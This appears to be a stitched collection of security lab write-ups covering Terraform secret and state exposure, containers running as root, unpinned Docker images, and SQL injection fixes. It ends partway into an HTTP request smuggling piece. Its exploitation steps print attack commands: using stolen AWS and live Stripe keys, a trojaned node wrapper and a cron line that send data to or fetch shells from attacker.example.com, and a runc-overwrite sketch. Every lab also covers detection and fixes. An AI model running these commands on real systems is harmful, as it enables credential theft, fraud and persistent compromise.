# Password: SuperSecret123!

# Use stolen IAM keys
export AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE
export AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
aws sts get-caller-identity

Expected output:

{
    "UserId": "AIDACKCEVSQ6C2EXAMPLE",
    "Account": "123456789012",
    "Arn": "arn:aws:iam::123456789012:user/ci-deploy"
}

Step 5: Pull state from accessible remote backend

# If you have any AWS credentials with s3:GetObject on the bucket
terraform init
terraform state pull > stolen-state.json

# Or use terraform show to dump everything
terraform show

Detection

tfsec

tfsec . --include-passed

Expected findings:

Result #1 HIGH State backend does not have encryption enabled
──────────────────────────────────────────────────────────────
  main.tf line 3-8

  ID:       aws-s3-encryption-customer-key
  Impact:   State file may be read by unauthorized parties
  Guide:    https://aquasecurity.github.io/tfsec/latest/checks/general/secrets/

Result #2 CRITICAL Potentially sensitive data stored in state
──────────────────────────────────────────────────────────────
  main.tf line 20

  ID:       general-secrets-sensitive-in-attribute

Checkov

checkov -d . --check CKV_AWS_41,CKV2_AWS_61,CKV_AWS_145

Expected output:

Check: CKV_AWS_41: "Ensure no hard-coded credentials exist in lambda environment"
	FAILED for resource: aws_db_instance.main
	File: /main.tf:11-23

Check: CKV2_AWS_61: "Ensure that an S3 bucket has a lifecycle configuration"
	FAILED for resource: aws_s3_bucket.state (if bucket is defined)

Check: CKV_AWS_145: "Ensure that S3 Bucket is encrypted by KMS using a customer managed Key (CMK)"
	FAILED for resource: aws_s3_bucket.state

gitleaks (scan git history for state files)

gitleaks detect --source . --verbose

Expected output:

Finding:     "password": "SuperSecret123!"
Secret:      SuperSecret123!
RuleID:      generic-api-key
Entropy:     3.98
File:        terraform.tfstate
Line:        42
Commit:      4a7f2e1b3c8d

Solution

Fixed Configuration

terraform {
  required_version = ">= 1.5"

  backend "s3" {
    bucket         = "mycompany-terraform-state-prod"
    key            = "prod/terraform.tfstate"
    region         = "us-east-1"
    encrypt        = true
    kms_key_id     = "arn:aws:kms:us-east-1:123456789012:key/12345678-1234-1234-1234-123456789012"
    dynamodb_table = "terraform-state-lock"
    # Bucket must have:
    #   - versioning enabled
    #   - public access blocked
    #   - server-side encryption with KMS
    #   - bucket policy restricting access to specific IAM roles
  }

  required_providers {
    aws = {
      source  = "hashicorp/aws"
      version = "5.31.0"
    }
  }
}

# State bucket configuration (apply this separately first)
resource "aws_s3_bucket" "terraform_state" {
  bucket = "mycompany-terraform-state-prod"

  lifecycle {
    prevent_destroy = true
  }
}

resource "aws_s3_bucket_versioning" "terraform_state" {
  bucket = aws_s3_bucket.terraform_state.id
  versioning_configuration {
    status = "Enabled"
  }
}

resource "aws_s3_bucket_server_side_encryption_configuration" "terraform_state" {
  bucket = aws_s3_bucket.terraform_state.id
  rule {
    apply_server_side_encryption_by_default {
      sse_algorithm     = "aws:kms"
      kms_master_key_id = aws_kms_key.terraform_state.arn
    }
    bucket_key_enabled = true
  }
}

resource "aws_s3_bucket_public_access_block" "terraform_state" {
  bucket = aws_s3_bucket.terraform_state.id

  block_public_acls       = true
  block_public_policy     = true
  ignore_public_acls      = true
  restrict_public_buckets = true
}

resource "aws_dynamodb_table" "terraform_lock" {
  name         = "terraform-state-lock"
  billing_mode = "PAY_PER_REQUEST"
  hash_key     = "LockID"

  attribute {
    name = "LockID"
    type = "S"
  }
}

# Use variables with sensitive flag and external secret sources
variable "db_password" {
  type      = string
  sensitive = true
  # No default -- must be provided at runtime
}

resource "aws_db_instance" "main" {
  identifier     = "production-db"
  engine         = "postgres"
  engine_version = "15.4"
  instance_class = "db.t3.medium"
  allocated_storage = 100

  db_name  = "appdb"
  username = "admin"
  password = var.db_password  # From environment or Vault

  skip_final_snapshot = true
}

Add to .gitignore:

*.tfstate
*.tfstate.*
*.tfstate.backup
.terraform/

Verification

Verify state is encrypted at rest

aws s3api head-object \
  --bucket mycompany-terraform-state-prod \
  --key prod/terraform.tfstate

Expected output:

{
    "ServerSideEncryption": "aws:kms",
    "SSEKMSKeyId": "arn:aws:kms:us-east-1:123456789012:key/12345678-1234-1234-1234-123456789012"
}

Verify public access is blocked

aws s3api get-public-access-block --bucket mycompany-terraform-state-prod

Expected output:

{
    "PublicAccessBlockConfiguration": {
        "BlockPublicAcls": true,
        "IgnorePublicAcls": true,
        "BlockPublicPolicy": true,
        "RestrictPublicBuckets": true
    }
}

Verify DynamoDB locking is active

terraform plan

Expected output includes:

Acquiring state lock. This may take a few moments...

Verify no state files in git

git log --all --full-history -- "*.tfstate" | wc -l

Expected output:

0

Verify tfsec passes on backend configuration

tfsec . --include-passed | grep "State backend"

Expected output:

  Result    PASSED

Hardcoded Secrets in Terraform

Writeup

Hardcoded secrets in Terraform files are one of the most common findings in IaC security reviews. We see passwords embedded directly in resource blocks, API keys sitting in terraform.tfvars that got committed to version control, and default values on variables that were supposed to be sensitive. The problem is not theoretical -- GitHub reports that Terraform files are among the top file types where secrets are accidentally exposed.

There are three distinct patterns here. First, secrets placed directly in .tf files as string literals -- a database password in an aws_db_instance, an API key in a aws_lambda_function environment block. Second, secrets in terraform.tfvars or *.auto.tfvars files that end up in git because developers forget to add them to .gitignore. Third, variables declared with a default value that contains a real credential, which means the secret is baked into the configuration even when the variable is overridden.

Every one of these patterns results in credentials persisted in version control history. Even after removing the secret from the current commit, git log preserves it forever unless the repository history is rewritten.

Root Cause Analysis

Terraform does not enforce any separation between configuration and secrets. You can put a password string anywhere a string is accepted, and Terraform will apply it without complaint. The sensitive = true flag on variables only prevents the value from being shown in CLI output and plan files -- it does not prevent the value from appearing in .tf files, .tfvars files, or state.

Developers hardcode secrets because it is the path of least resistance during initial development. Setting up Vault integration, AWS Secrets Manager data sources, or environment variable injection requires additional infrastructure. A string literal works immediately.

Vulnerable Configuration

# main.tf
provider "aws" {
  region     = "us-east-1"
  access_key = "AKIAIOSFODNN7EXAMPLE"
  secret_key = "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"
}

resource "aws_db_instance" "main" {
  identifier     = "app-database"
  engine         = "mysql"
  engine_version = "8.0"
  instance_class = "db.t3.medium"
  allocated_storage = 50

  db_name  = "production"
  username = "dbadmin"
  password = "P@ssw0rd!2024Prod"
}

resource "aws_lambda_function" "api" {
  function_name = "api-handler"
  runtime       = "python3.12"
  handler       = "main.handler"
  filename      = "lambda.zip"
  role          = aws_iam_role.lambda.arn

  environment {
    variables = {
      STRIPE_SECRET_KEY = "sk_live_4eC39HqLyjWDarjtT1zdp7dc"
      DATABASE_URL      = "postgresql://dbadmin:P@ssw0rd!2024Prod@db.example.com:5432/production"
      JWT_SECRET        = "my-super-secret-jwt-signing-key-2024"
    }
  }
}

# variables.tf
variable "db_password" {
  type    = string
  default = "P@ssw0rd!2024Prod"  # Default contains real credential
}

variable "api_key" {
  type    = string
  default = "sk_live_4eC39HqLyjWDarjtT1zdp7dc"
}

# terraform.tfvars (committed to git)
db_password    = "P@ssw0rd!2024Prod"
stripe_api_key = "sk_live_4eC39HqLyjWDarjtT1zdp7dc"
datadog_key    = "a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4"

Exploitation

Step 1: Search for secrets in Terraform files

# Find hardcoded AWS credentials
grep -rn "AKIA" *.tf *.tfvars 2>/dev/null

Expected output:

main.tf:3:  access_key = "AKIAIOSFODNN7EXAMPLE"

# Find passwords and API keys
grep -rni "password\|secret\|api_key\|token" *.tf *.tfvars 2>/dev/null

Expected output:

main.tf:17:  password = "P@ssw0rd!2024Prod"
main.tf:28:      STRIPE_SECRET_KEY = "sk_live_4eC39HqLyjWDarjtT1zdp7dc"
main.tf:30:      JWT_SECRET        = "my-super-secret-jwt-signing-key-2024"
variables.tf:3:  default = "P@ssw0rd!2024Prod"
terraform.tfvars:1:db_password    = "P@ssw0rd!2024Prod"
terraform.tfvars:2:stripe_api_key = "sk_live_4eC39HqLyjWDarjtT1zdp7dc"

Step 2: Mine git history for removed secrets

# Search git history for secrets that were "removed"
git log -p --all -S "AKIA" -- "*.tf" "*.tfvars"

Expected output:

commit 8f2a1b3c...
-  access_key = "AKIAIOSFODNN7EXAMPLE"
-  secret_key = "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"

# Use trufflehog to scan the full repository
trufflehog git file://. --only-verified

Expected output:

Found verified result
Detector Type: AWS
Raw result: AKIAIOSFODNN7EXAMPLE
File: main.tf
Commit: 8f2a1b3c4d5e

Step 3: Use stolen AWS credentials

export AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE
export AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY

aws sts get-caller-identity

Expected output:

{
    "UserId": "AIDACKCEVSQ6C2EXAMPLE",
    "Account": "123456789012",
    "Arn": "arn:aws:iam::123456789012:user/terraform-deployer"
}

# Enumerate what we can access
aws iam list-attached-user-policies --user-name terraform-deployer

Step 4: Use stolen Stripe key

curl https://api.stripe.com/v1/charges \
  -u sk_live_4eC39HqLyjWDarjtT1zdp7dc: \
  -d amount=999999 \
  -d currency=usd \
  -d source=tok_visa

Step 5: Connect to exposed database

mysql -h db.example.com -u dbadmin -p'P@ssw0rd!2024Prod' production

Expected output:

Welcome to the MySQL monitor.
mysql> SHOW TABLES;
+------------------------+
| Tables_in_production   |
+------------------------+
| users                  |
| orders                 |
| payment_methods        |
+------------------------+

Detection

tfsec

tfsec .

Expected output:

Result #1 CRITICAL Hardcoded AWS access credentials
──────────────────────────────────────────────────────
  main.tf line 3

  ID:       aws-provider-no-hardcoded-credentials
  Impact:   Credentials could be exposed in source code

Result #2 CRITICAL Sensitive data in resource attribute
──────────────────────────────────────────────────────
  main.tf line 17

  ID:       general-secrets-sensitive-in-attribute
  Impact:   Credentials stored in plaintext

Result #3 HIGH Lambda environment variable contains sensitive value
──────────────────────────────────────────────────────
  main.tf line 28

  ID:       aws-lambda-no-secrets-in-environment

Checkov

checkov -d . --check CKV_AWS_41,CKV2_AWS_39,CKV_AWS_45

Expected output:

Check: CKV_AWS_41: "Ensure no hard-coded credentials exist in lambda environment"
	FAILED for resource: aws_lambda_function.api
	File: /main.tf:20-34

Check: CKV2_AWS_39: "Ensure Domain Name System (DNS) query logging is enabled for Amazon Route 53 hosted zones"
	PASSED

Check: CKV_AWS_45: "Ensure no hard-coded credentials exist in lambda environment"
	FAILED for resource: aws_lambda_function.api

gitleaks

gitleaks detect --source . --verbose --no-git

Expected output:

Finding:     access_key = "AKIAIOSFODNN7EXAMPLE"
RuleID:      aws-access-key-id
File:        main.tf
Line:        3

Finding:     secret_key = "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"
RuleID:      aws-secret-access-key
File:        main.tf
Line:        4

Finding:     "sk_live_4eC39HqLyjWDarjtT1zdp7dc"
RuleID:      stripe-secret-key
File:        main.tf
Line:        28

trufflehog

trufflehog filesystem . --include-paths="*.tf,*.tfvars"

Expected output:

Detector: AWSAccessKey
Raw: AKIAIOSFODNN7EXAMPLE
File: main.tf
Verified: true

Detector: Stripe
Raw: sk_live_4eC39HqLyjWDarjtT1zdp7dc
File: main.tf
Verified: true

Solution

Fixed Configuration

# variables.tf
variable "db_password" {
  type      = string
  sensitive = true
  # No default value -- must be injected at runtime
}

variable "stripe_secret_key" {
  type      = string
  sensitive = true
}

variable "jwt_secret" {
  type      = string
  sensitive = true
}

# main.tf - provider uses environment variables or IAM roles
provider "aws" {
  region = "us-east-1"
  # No access_key or secret_key
  # Uses AWS_ACCESS_KEY_ID/AWS_SECRET_ACCESS_KEY env vars
  # or IAM instance profile / IRSA / ECS task role
}

# Pull secrets from AWS Secrets Manager
data "aws_secretsmanager_secret_version" "db_password" {
  secret_id = "prod/database/password"
}

data "aws_secretsmanager_secret_version" "stripe_key" {
  secret_id = "prod/stripe/secret-key"
}

resource "aws_db_instance" "main" {
  identifier     = "app-database"
  engine         = "mysql"
  engine_version = "8.0"
  instance_class = "db.t3.medium"
  allocated_storage = 50

  db_name  = "production"
  username = "dbadmin"
  password = data.aws_secretsmanager_secret_version.db_password.secret_string
}

resource "aws_lambda_function" "api" {
  function_name = "api-handler"
  runtime       = "python3.12"
  handler       = "main.handler"
  filename      = "lambda.zip"
  role          = aws_iam_role.lambda.arn

  environment {
    variables = {
      # Reference secrets by ARN -- Lambda reads them at runtime
      STRIPE_SECRET_ARN  = "arn:aws:secretsmanager:us-east-1:123456789012:secret:prod/stripe/secret-key"
      DATABASE_SECRET_ARN = "arn:aws:secretsmanager:us-east-1:123456789012:secret:prod/database/url"
      JWT_SECRET_ARN     = "arn:aws:secretsmanager:us-east-1:123456789012:secret:prod/jwt/signing-key"
    }
  }
}

# .gitignore
*.tfvars
!example.tfvars
*.tfstate
*.tfstate.*
.terraform/

# example.tfvars (committed as template, no real values)
# db_password    = "CHANGE_ME"
# stripe_api_key = "CHANGE_ME"

Verification

Verify no hardcoded credentials in provider

grep -n "access_key\|secret_key" main.tf

Expected output:

(no output)

Verify variables are marked sensitive

grep -A2 "variable.*password\|variable.*secret\|variable.*key" variables.tf

Expected output:

variable "db_password" {
  type      = string
  sensitive = true
--
variable "stripe_secret_key" {
  type      = string
  sensitive = true

Verify no defaults on sensitive variables

grep -A5 'sensitive = true' variables.tf | grep 'default'

Expected output:

(no output)

Verify gitleaks passes

gitleaks detect --source . --verbose --no-git

Expected output:

No leaks found

Verify tfsec passes

tfsec . --minimum-severity HIGH

Expected output:

No problems detected!

Verify tfvars is gitignored

git check-ignore terraform.tfvars

Expected output:

terraform.tfvars

Provider Version Pinning

Read more

Another weak, another article, another knowledge sharing.

We put together 42 container security labs that cover the most common misconfigurations in Docker and Kubernetes environments. Each lab walks through a real vulnerable configuration, shows the step-by-step exploitation path, explains the root cause, and provides a working fix with verification commands.

The labs cover Docker image hardening, runtime security, Kubernetes pod and cluster security, RBAC, network policies, secrets management, container registries, CI/CD pipeline security, and supply chain integrity. Every example uses real Dockerfiles, Kubernetes YAML manifests, and commands you can run against your own environments.

This is a hands-on reference built for penetration testers, security engineers, and platform teams. We show the vulnerable configuration, walk through exactly how an attacker exploits it, and give you the detection and remediation steps.

Running Containers as Root

By default, Docker containers run processes as root (UID 0). This means if an attacker escapes the container or exploits a vulnerability in the application, they gain root-level access to the container filesystem and potentially the host. In Kubernetes and Docker alike, this is the single most common misconfiguration we encounter during assessments.

The impact is straightforward: a web application vulnerability that would normally give an attacker limited shell access instead gives them full control. They can install packages, modify system files, read shadow, and in worst-case scenarios with additional misconfigurations, pivot to the host. CVE-2019-5736 demonstrated how a root process inside a container could overwrite the host runc binary and gain host-level code execution. The Tesla cryptojacking incident in 2018 also involved containers running as root with exposed dashboards.

Running as non-root is a baseline control. Every container image should define a non-root user, and every deployment should enforce it.

Root Cause Analysis

When a Dockerfile has no USER directive, the default user is root. Many official base images ship without a non-root user configured, so unless the image author explicitly creates one, every process in the container inherits UID 0. Developers often skip this step because their application “works” as root during local testing, and nothing in the default Docker configuration warns them.

Vulnerable Configuration

FROM node:20-slim

WORKDIR /app
COPY package*.json ./
RUN npm ci --only=production
COPY . .

EXPOSE 3000
CMD ["node", "server.js"]

This container runs node server.js as root. Verify with:

docker build -t myapp-vuln .
docker run --rm myapp-vuln whoami
# Output: root
docker run --rm myapp-vuln id
# Output: uid=0(root) gid=0(root) groups=0(root)

Exploitation

We start from a position where we have RCE inside the running container (via an application vulnerability such as SSRF, command injection, or deserialization).

Step 1: Confirm root access

docker run --rm -it myapp-vuln sh
id

Expected output:

uid=0(root) gid=0(root) groups=0(root)

Step 2: Read sensitive system files

cat shadow

Expected output:

root:*:19770:0:99999:7:::
daemon:*:19770:0:99999:7:::
bin:*:19770:0:99999:7:::
...

As root, we can read password hashes on any container that stores local users.

Step 3: Install backdoor packages

apt-get update && apt-get install -y nmap netcat-openbsd socat

Expected output:

Reading package lists... Done
Setting up nmap (7.93+dfsg1-1) ...
Setting up netcat-openbsd (1.219-1) ...

As root, package installation succeeds. A non-root user would get permission denied.

Step 4: Modify application binaries

cp /usr/local/bin/node /usr/local/bin/node.orig
cat > /usr/local/bin/node << 'EOF'
#!/bin/bash
curl -s http://attacker.example.com/exfil -d "$(env)" >/dev/null 2>&1 &
exec /usr/local/bin/node.orig "$@"
EOF
chmod +x /usr/local/bin/node

Every future invocation of node now exfiltrates environment variables.

Step 5: Write cron persistence

echo '* * * * * root curl http://attacker.example.com/shell.sh | bash' >> /etc/crontab

Step 6: CVE-2019-5736 attack vector (runc overwrite)

This CVE allows a root process inside a container to overwrite the host runc binary. The attack works by:

# Inside the container as root
# Overwrite /proc/self/exe (which points to runc during exec)
# This is the simplified concept -- the actual exploit uses a specially crafted binary
cp /proc/self/exe /tmp/runc-backup
cat > /tmp/payload.sh << 'EOF'
#!/bin/bash
# This payload executes on the HOST after runc is overwritten
cat shadow > /tmp/host-shadow
EOF

The full exploit (CVE-2019-5736) requires runc versions < 1.0-rc6. Running as non-root blocks this attack entirely because the process lacks permission to overwrite the runc binary via /proc/self/exe.

Detection

Hadolint (Dockerfile linting)

hadolint Dockerfile

Expected output:

Dockerfile:8 DL3002 warning: Last USER should not be root

Hadolint rule DL3002 fires when the final USER in a Dockerfile is root or when no USER directive exists.

Dockle (image linting)

dockle myapp-vuln

Expected output:

WARN  - CIS-4.1  : Create a user for the container
      - Last user should not be root

Docker inspect at runtime

docker inspect --format '{{.Config.User}}' myapp-vuln

Expected output (empty means root):

An empty string confirms no user is set, meaning the container runs as root.

Check running containers

docker ps -q | xargs -I{} docker inspect --format '{{.Name}} -> User: {{.Config.User}}' {}

This lists every running container and its configured user. Any blank entry runs as root.

Solution

Create a dedicated user in the Dockerfile and switch to it before the CMD instruction. For runtime enforcement, use the --user flag or user: directive in Compose.

Fixed Configuration

FROM node:20-slim

RUN groupadd --gid 1001 appgroup && \
    useradd --uid 1001 --gid appgroup --shell /bin/false --create-home appuser

WORKDIR /app
COPY --chown=appuser:appgroup package*.json ./
RUN npm ci --only=production
COPY --chown=appuser:appgroup . .

USER appuser

EXPOSE 3000
CMD ["node", "server.js"]

Runtime enforcement via docker run:

docker run --rm --user 1001:1001 myapp whoami
# Output: appuser

Runtime enforcement via docker-compose.yml:

services:
  app:
    image: myapp
    user: "1001:1001"
    security_opt:
      - no-new-privileges:true

The USER directive sets the default user for all subsequent RUN, CMD, and ENTRYPOINT instructions. The --chown flag on COPY ensures files are owned by the non-root user so the application can still read them. The runtime --user flag acts as a second layer of defense regardless of what the Dockerfile specifies.

Verification

Verify the rebuilt image runs as non-root

docker build -t myapp-fixed .
docker run --rm myapp-fixed id

Expected output:

uid=1001(appuser) gid=1001(appgroup) groups=1001(appgroup)

Verify with docker inspect

docker inspect --format '{{.Config.User}}' myapp-fixed

Expected output:

appuser

Verify root operations are denied

docker run --rm myapp-fixed apt-get update

Expected output:

Reading package lists... Done
E: Could not open lock file /var/lib/apt/lists/lock - open (13: Permission denied)

Verify shadow is unreadable

docker run --rm myapp-fixed cat shadow

Expected output:

cat: shadow: Permission denied

Verify hadolint passes

hadolint Dockerfile

Expected output: no warnings about root user.

Using Unversioned or Latest Base Images

Using latest or untagged base images means every build can pull a different underlying image. Today your FROM node:latest resolves to Node 20.11.0 on Debian Bookworm. Tomorrow it might resolve to Node 22 on a different base OS. You have no control and no reproducibility. This is a supply chain risk.

The real-world impact goes beyond broken builds. An attacker who compromises an upstream image tag can inject malicious code into every downstream build that pulls that tag. The event-stream incident and the Codecov bash uploader compromise both demonstrated how supply chain attacks propagate through mutable references. The ua-parser-js npm hijack in 2021 similarly showed how a single compromised dependency can cascade to millions of users. With Docker images, the attack surface is the entire operating system and runtime.

Pinning to a digest (SHA256 hash) guarantees you pull the exact image bytes you tested. Tags are mutable pointers; digests are immutable content addresses.

Root Cause Analysis

Docker tags are mutable. A registry maintainer can push a new image to the same tag at any time, and docker pull will fetch the latest version associated with that tag. The latest tag is just a convention -- it has no special behavior other than being the default when no tag is specified. Even pinning to node:20.11.0 is not fully deterministic because a maintainer can overwrite that tag. Only the image digest is immutable.

Vulnerable Configuration

FROM node

WORKDIR /app
COPY . .
RUN npm ci
CMD ["node", "index.js"]

Or with the explicit latest tag, which is identical behavior:

FROM node:latest

WORKDIR /app
COPY . .
RUN npm ci
CMD ["node", "index.js"]

Check what you actually pulled:

docker pull node:latest
docker inspect node:latest | jq -r '.[0].RepoDigests'
# The digest changes every time the upstream pushes a new image

Exploitation

This attack demonstrates how mutable tags allow silent supply chain compromise.

Step 1: Show current digest for latest tag

docker pull node:latest
docker inspect --format='{{index .RepoDigests 0}}' node:latest

Expected output:

node@sha256:a1b2c3d4e5f6... (some digest)

Step 2: Wait and pull again to show tag mutability

# Remove local cache
docker rmi node:latest

# Pull again (after upstream publishes new image)
docker pull node:latest
docker inspect --format='{{index .RepoDigests 0}}' node:latest

The digest will differ if the upstream has pushed an update. The tag latest now points to entirely different image contents.

Step 3: Use crane to inspect tag mutability without pulling

# Install crane: https://github.com/google/go-containerregistry/releases
crane digest node:latest

Expected output:

sha256:7f3a8e... (current digest)

Run this a week later and the digest changes. The tag is a moving target.

Step 4: Compare what two developers actually built

# Developer A built the image last week
docker build -t myapp:dev-a .
docker inspect --format='{{index .RootFS.Layers}}' myapp:dev-a | wc -w
# 8 layers

# Developer B builds today after upstream update
docker build --no-cache -t myapp:dev-b .
docker inspect --format='{{index .RootFS.Layers}}' myapp:dev-b | wc -w
# 9 layers -- different base, different OS packages, different vulnerabilities

Step 5: Show different vulnerability surfaces

trivy image myapp:dev-a --severity HIGH,CRITICAL --quiet
# Total: 12 (HIGH: 9, CRITICAL: 3)

trivy image myapp:dev-b --severity HIGH,CRITICAL --quiet
# Total: 27 (HIGH: 21, CRITICAL: 6)
# Completely different CVE set because the base OS changed

The same Dockerfile produces images with different vulnerability profiles on different days. Production is running a version nobody tested.

Step 6: Demonstrate a poisoned tag scenario

# An attacker pushes a malicious image to a public registry under a typosquatted name
# e.g., "nodje" instead of "node"
# FROM nodje:latest  <-- developer typo pulls attacker-controlled image

# Even on legitimate registries, a compromised maintainer account can push to existing tags
crane manifest node:20-slim | jq '.config.digest'
# This digest is what you trust. Without pinning, you trust whatever the tag resolves to.

Detection

Hadolint (Dockerfile linting)

hadolint Dockerfile

Expected output:

Dockerfile:1 DL3007 warning: Using latest is not allowed

Rule DL3007 fires on FROM image:latest or FROM image (implicit latest).

Hadolint with pinning rules

hadolint --strict Dockerfile

Expected output:

Dockerfile:1 DL3006 warning: Always tag the version of an image explicitly
Dockerfile:1 DL3007 warning: Using latest is not allowed

Trivy (scan for known CVEs in unpinned image)

trivy image node:latest --severity CRITICAL

Expected output:

node:latest (debian 12.4)
===========================
Total: 14 (CRITICAL: 14)

┌──────────────────┬────────────────┬──────────┐
│     Library      │ Vulnerability  │ Severity │
├──────────────────┼────────────────┼──────────┤
│ libssl3          │ CVE-2024-XXXXX │ CRITICAL │
│ ...              │ ...            │ ...      │
└──────────────────┴────────────────┴──────────┘

Docker Scout

docker scout cves node:latest --only-severity critical,high

Check existing images for digest pinning

# Grep Dockerfiles in your repo for unpinned bases
grep -rn "^FROM " */Dockerfile | grep -v "@sha256:"

This lists every Dockerfile that does not pin to a digest.

Solution

Pin base images to a specific version tag and, for production workloads, pin to the image digest. Use docker pull to get the digest of a known-good image and reference it directly.

Fixed Configuration

Good -- pinned to version tag:

FROM node:20.11.0-slim

WORKDIR /app
COPY . .
RUN npm ci --only=production
CMD ["node", "index.js"]

Better -- pinned to digest:

FROM node:20.11.0-slim@sha256:bf0ef0687ffbd6c7a4a49e3e4a1e00e8e0d8f3a2e24c0b1c3cb27e3f6c8a0f1

WORKDIR /app
COPY . .
RUN npm ci --only=production
CMD ["node", "index.js"]

Get the digest of your current image:

docker inspect --format='{{index .RepoDigests 0}}' node:20.11.0-slim

Or with crane:

crane digest node:20.11.0-slim

Verification

Confirm digest is pinned in Dockerfile

grep "^FROM" Dockerfile

Expected output:

FROM node:20.11.0-slim@sha256:bf0ef0687ffbd6c7a4a49e3e4a1e00e8e0d8f3a2e24c0b1c3cb27e3f6c8a0f1

Confirm hadolint no longer warns

hadolint Dockerfile

Expected output: no DL3006 or DL3007 warnings.

Confirm reproducibility

docker build -t myapp:build1 .
docker build --no-cache -t myapp:build2 .
diff <(docker inspect myapp:build1 | jq '.[0].RootFS') \
     <(docker inspect myapp:build2 | jq '.[0].RootFS')

Expected output: no diff. Both builds produce identical base layers because the digest is pinned.

Verify with crane that digest matches

crane digest node:20.11.0-slim
# Compare this against the digest in your Dockerfile -- they should match

Secrets Exposed via ENV and ARG in Dockerfiles

Read more

In this article we make a collection of 53 secure coding labs covering the most common vulnerability classes developers run into today. Each lab walks through a real vulnerable code pattern, explains what went wrong at the source level, and shows the fix with working code.

The labs span SQL injection, XSS, SSRF, broken authentication, insecure deserialization, vulnerable dependencies, API misconfigurations, mobile security issues, and memory safety bugs in C++. Languages covered include C#, Java, Python, PHP, Go, JavaScript, TypeScript, Ruby, Kotlin, Swift, and C++.

This is not theory. Every example comes from an actual lab environment with exploitable code. We break down the root cause, show the vulnerable snippet, and provide the corrected version. Use it as a training reference, onboarding material, or just a quick lookup when you need to remind yourself why string concatenation in SQL queries is still a terrible idea.

SQL Injection - .NET (Parameterize All The Things)

Lab Reference

Repository: securec0ding/dotnet-injection-parameterize-all-the-things
Language: C#
OWASP Category: A03:2021 - Injection

Writeup

This lab presents a .NET web application with an employee search feature. The search endpoint takes user input and passes it directly into a raw SQL query without any sanitization or parameterization. An attacker can inject SQL statements through the search field to extract, modify, or delete database records.

Root Cause Analysis

The controller builds a SQL query using string concatenation with user-supplied input. The search parameter from the HTTP request is embedded directly into the SQL string. No input validation, escaping, or parameterized queries are used.

Vulnerable Code

[HttpPost]
public IActionResult Search(string search)
{
    var employees = new List<Employee>();
    using (var connection = new SqliteConnection("DataSource=database.sqlite"))
    {
        connection.Open();
        var command = connection.CreateCommand();
        // User input directly concatenated into SQL query
        command.CommandText = "SELECT * FROM employee WHERE name LIKE '%" + search + "%'";
        using (var reader = command.ExecuteReader())
        {
            while (reader.Read())
            {
                employees.Add(new Employee
                {
                    Name = reader.GetString(1),
                    Email = reader.GetString(2),
                    Phone = reader.GetString(3),
                    Salary = reader.GetString(4)
                });
            }
        }
    }
    return View("Index", employees);
}

Solution

Use parameterized queries. Bind user input as a parameter instead of concatenating it into the SQL string.

Fixed Code

[HttpPost]
public IActionResult Search(string search)
{
    var employees = new List<Employee>();
    using (var connection = new SqliteConnection("DataSource=database.sqlite"))
    {
        connection.Open();
        var command = connection.CreateCommand();
        command.CommandText = "SELECT * FROM employee WHERE name LIKE @search";
        command.Parameters.AddWithValue("@search", "%" + search + "%");
        using (var reader = command.ExecuteReader())
        {
            while (reader.Read())
            {
                employees.Add(new Employee
                {
                    Name = reader.GetString(1),
                    Email = reader.GetString(2),
                    Phone = reader.GetString(3),
                    Salary = reader.GetString(4)
                });
            }
        }
    }
    return View("Index", employees);
}

The @search parameter ensures the database engine treats the input as a literal value, not as part of the SQL syntax.

SQL Injection - Java Spring (Parameterize All The Things)

Lab Reference

Repository: securec0ding/java-injection-parameterize-all-the-things
Language: Java
OWASP Category: A03:2021 - Injection

Writeup

This lab features a Java Spring Boot application with an employee search function. The repository layer uses a native SQL query built through string concatenation. User input from the search form is inserted directly into the query, allowing an attacker to manipulate the SQL logic. Standard injection techniques apply -- extracting data from other tables, bypassing filters, or modifying records.

Root Cause Analysis

The Spring Data JPA repository defines a native query using string concatenation. The name parameter from the HTTP request is lowercased and concatenated directly into the SQL string inside the @Query annotation. This bypasses all of Spring’s built-in parameterization.

Vulnerable Code

@Query(value = "SELECT * FROM employee WHERE LOWER(name) LIKE '%" + name.toLowerCase() + "%'", nativeQuery = true)
List<Employee> getEmployeesByName(String name, Sort sort);

Solution

Use parameterized JPQL or named parameters with the @Param annotation. Let the ORM handle escaping. There is no need for raw SQL here.

Fixed Code

@Query(value = "SELECT e FROM Employee e WHERE LOWER(e.name) LIKE %:keyword%")
List<Employee> getEmployeesByName(@Param("keyword") String keyword, Sort sort);

The :keyword named parameter is bound safely by the JPA provider. The input is treated as a literal value, and the ORM generates the correct parameterized SQL underneath.

SQL Injection - PHP Laravel (Parameterize All The Things)

Lab Reference

Repository: securec0ding/php-injection-parameterize-all-the-things
Language: PHP
OWASP Category: A03:2021 - Injection

Writeup

Read more

“When proxies speak different dialects of HTTP, attackers find the gaps between words.”

The Hidden War at Protocol Boundaries

Picture a high-security vault with two guards—one at the front gate, one inside. Both speak English, but interpret sentences differently. An attacker crafts a message that means “I’m just a visitor” to the first guard, but secretly encodes “Give me the master key” to the second. This is HTTP Request Smuggling—a devastating attack exploiting protocol desynchronization between frontend proxies and backend servers.

Attack Variants at a Glance

HTTP/1.1: The Fundamental Protocol Flaw

Why HTTP/1.1 Must Be Disabled - PortSwigger’s Latest Research (2025)

Critical Finding: At Black Hat USA and DEF CON 33 (2025), James Kettle, Director of Research at PortSwigger, issued an industry-wide call: “HTTP/1.1 must die.” After six years of continuous research across four waves of attack discovery, PortSwigger has concluded that HTTP Request Smuggling is not a configuration bug—it’s an inherent protocol flaw baked into HTTP/1.1’s architecture.

The Protocol Design Flaw

HTTP/1.1 (RFC 7230) was designed with ambiguous message boundary definitions. The specification provides multiple, sometimes conflicting mechanisms to delimit request/response bodies:

1. Content-Length: Explicit byte count

2. Transfer-Encoding: chunked: Size-prefixed chunks with terminator

3. Content-Length + Transfer-Encoding: Undefined precedence in legacy systems

4. Keep-Alive semantics: Connection reuse without protocol safeguards

This intentional flexibility created a parsing lottery where different implementations interpret the same bytes differently.

┌─────────────────────────────────────────────────────────────┐
│  HTTP/1.1 AMBIGUITY MATRIX                                  │
